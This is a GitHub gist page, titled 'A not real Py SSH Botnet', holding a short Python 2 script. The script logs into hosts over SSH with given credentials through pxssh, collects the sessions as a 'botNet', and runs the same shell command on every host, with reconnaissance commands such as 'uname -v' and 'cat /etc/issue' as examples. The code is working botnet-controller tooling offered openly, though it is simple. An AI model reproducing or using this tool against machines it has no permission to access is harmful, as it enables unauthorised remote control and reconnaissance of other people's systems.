-
-
Save reanimat0r/209c4829f0d45f1cd464a517ca21097d to your computer and use it in GitHub Desktop.
A not real Py SSH Botnet
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import argparse, pxssh | |
class Client: | |
def __init__(self, host, user, password): | |
self.host = host | |
self.user = user | |
self.password = password | |
self.session = self.connect() | |
def connect(self): | |
try: | |
s = pxssh.pxssh() | |
s.login(self.host, self.user, self.password) | |
return s | |
except Exception, e: | |
print e | |
print '[-] Error Connecting' | |
def send_command(self, cmd): | |
print cmd | |
self.session.sendline(cmd) | |
self.session.prompt() | |
return self.session.before | |
def botnetCommand(command): | |
for client in botNet: | |
output = client.send_command(command) | |
print '[*] Output from ' + client.host | |
print '[+] ' + output + '\n' | |
def addClient(host, user, password): | |
client = Client(host, user, password) | |
botNet.append(client) | |
botNet = [] | |
addClient("IP ADDRESS", "USER", "PASSWORD") | |
botnetCommand('uname -v') | |
botnetCommand('cat /etc/issue') |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment